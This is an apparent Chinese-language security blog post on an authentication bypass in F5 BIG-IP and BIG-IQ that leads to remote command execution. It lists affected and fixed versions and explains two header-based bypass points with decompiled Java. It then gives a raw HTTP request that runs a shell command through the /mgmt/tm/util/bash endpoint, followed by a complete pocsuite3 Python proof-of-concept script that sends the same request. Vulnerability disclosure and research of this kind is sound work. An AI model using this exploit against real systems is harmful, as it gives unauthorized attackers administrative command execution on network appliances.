前言

F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。

近日,F5发布了F5 BIG-IQ/F5 BIG-IP 代码执行,代码执行的风险声明,F5安全公告更新了BIG-IP,BIG-IQ中的多个严重漏洞。建议广大用户及时将f5 big-iq,f5 big-ip升级到最新版本,避免遭到攻击。

受影响系统

BIG-IP (全部模块) v15.1.0-15.1.2
BIG-IP (全部模块) v14.1.0-14.1.3.1
BIG-IP (全部模块) v13.1.0-13.1.3.5
BIG-IP (全部模块) v12.1.0-12.1.5.2
BIG-IQ v7.1.0-7.1.0.2
BIG-IQ v7.0.0-7.0.0.1
BIG-IQ v6.0.0-6.1.0

漏洞详情

通过最近的资料得知,该漏洞利用到了两个认证绕过
然后通过了认证的请求就用了管理员权限,可以访问REST API,通过文档发现可以通过POST请求到/mgmt/tm/util/bash地址来执行指令,所以我们绕过认证以后就可以通过这个接口进行远程代码执行。

第一个可利用点

X-F5-Auth-Token

后端查找请求头中是否有X-F5-Auth-Token, 有的话将直接发送给jetty并进行后续认证,没有的话最终会查找Authorization和其他HTTP的header,下面实际测试一下,用到的测试版本是BIGIP-16.0.0

不携带X-F5-Auth-Token请求头:

可以看到这个401是由apache返回的

携带空X-F5-Auth-Token请求头:

此处看到401是有Jetty返回

然后继续携带错误的Authorization和空X-F5-Auth-Token进行测试:

依然是由Jetty返回
所以,可以看出如果HTTP请求头中携带了X-F5-Auth-Token,不论是否正确,都可以绕过Authorization的检测
接下来就是要绕过Jetty的认证

第二个可利用点

以下内容通过斗象文章得知

在f5.rest.workers.authz.AuthzHelper.class,此函数将Authorization的header解码并返回:

public static BasicAuthComponents decodeBasicAuth(String encodedValue) {
    BasicAuthComponents components = new BasicAuthComponents();
    if (encodedValue == null) {
      return components;
    }

    String decodedBasicAuth = new String(DatatypeConverter.parseBase64Binary(encodedValue));
    int idx = decodedBasicAuth.indexOf(':');
    if (idx > 0) {
      components.userName = decodedBasicAuth.substring(0, idx);
      if (idx + 1 < decodedBasicAuth.length())
      {

        components.password = decodedBasicAuth.substring(idx + 1);
      }
    } 

    return components;
  }

此函数位于f5.rest.common.RestOperationIdentifier.class,通过basicAuth来设置identityData:

private static boolean setIdentityFromBasicAuth(RestOperation request) {
    String authHeader = request.getBasicAuthorization();
    if (authHeader == null) {
      return false;
    }
    AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
    request.setIdentityData(components.userName, null, null);
    return true;
  }
}
public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {
    if (userName == null && !RestReference.isNullOrEmpty(userReference)) {


      String segment = UrlHelper.getLastPathSegment(userReference.link);
      if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment }))))
      {
        userName = segment;
      }
    } 
    if (userName != null && RestReference.isNullOrEmpty(userReference)) {
      userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName })));
    }


    this.identityData = new IdentityData();
    this.identityData.userName = userName;
    this.identityData.userReference = userReference;
    this.identityData.groupReferences = groupReferences;
    return this;
  }
request.setIdentityData(components.userName, null, null);

之后request就拥有了下面的属性

identityData.userName = 'admin';
identityData.userReference = 'http://localhost/mgmt/shared/authz/users/admin'
identityData.groupReference = null;

因为REST服务器默认Basic Authorization数据已经由Apache进行认证所以不需要重新验证账户密码,所以在给identityData赋值时直接是根据用户名的。

所以我们将Authorization的值置为用户名即可绕过认证,获得一个拥有权限的请求

漏洞复现

结合以上,我们可以设置一个X-F5-Auth-Token为空、Authorization为用户名的header,请求文章开头提到的可以执行命令的接口,从而完成远程命令执行

payload如下:

POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.10.148
Content-Type: application/json
X-F5-Auth-Token:
Authorization: Basic YWRtaW46
Content-Length: 47

{
    "command":"run",
    "utilCmdArgs":"-c id"
}

至此漏洞复现完成

修复建议

升级到最新版本
安全版本:

BIG-IP v16.0.1.1
BIG-IP v15.1.2.1
BIG-IP v14.1.4
BIG-IP v13.1.3.6
BIG-IP v12.1.5.3
BIG-IQ v8.0.0
BIG-IQ v7.1.0.3
BIG-IQ v7.0.0.2

POC

# -*- coding: utf-8 -*-
__version_ = 'python 3.7'
__author__ = 'JsOnGmAX'
__date__ = '2021/3/19 15:14'

from pocsuite3.api import Output, POCBase, register_poc, requests, logger, VUL_TYPE
import json

class TestPOC(POCBase):
    vulID = 'JsOnGmAX'
    version = 'v1'
    author = ['JsOnGmAX']
    vulDate = '2021-03-10'
    createDate = '2021-03-10'
    updateDate = '2020-03-18'
    references = ['https://support.f5.com/csp/article/K02566623']
    name = 'BIG-IP代码执行漏洞'
    appPowerLink = ''
    appName = 'F5 BIG-IQ/F5 BIG-IP'
    appVersion = '''
    BIG-IP v16.0.0-16.0.1
    BIG-IP v15.1.0-15.1.2
    BIG-IP v14.1.0-14.1.3.1
    BIG-IP v13.1.0-13.1.3.5
    BIG-IP v12.1.0-12.1.5.2
    BIG-IQ v7.1.0-7.1.0.2
    BIG-IQ v7.0.0-7.0.0.1
    BIG-IQ v6.0.0-6.1.0
    '''
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = ''''''

    def _verify(self):
        result = {}

        self._headers = {
            'X-F5-Auth-Token': '',
            'Authorization': 'Basic YWRtaW46',
            "Content-Type": "application/json"
        }

        self.url = self.url.strip("/")
        self.vuln_url = self.url + '/mgmt/tm/util/bash'
        self.data = {
            "command":"run",
            "utilCmdArgs":"-c id"
        }

        res = requests.post(url=self.vuln_url, headers=self._headers, data=json.dumps(self.data), verify=False)
        logger.info(res.status_code)
        if "commandResult" in res.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            logger.info("存在漏洞")

        return self.parse_output(result)


    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(TestPOC)

最后修改:2021 年 03 月 22 日 04 : 41 PM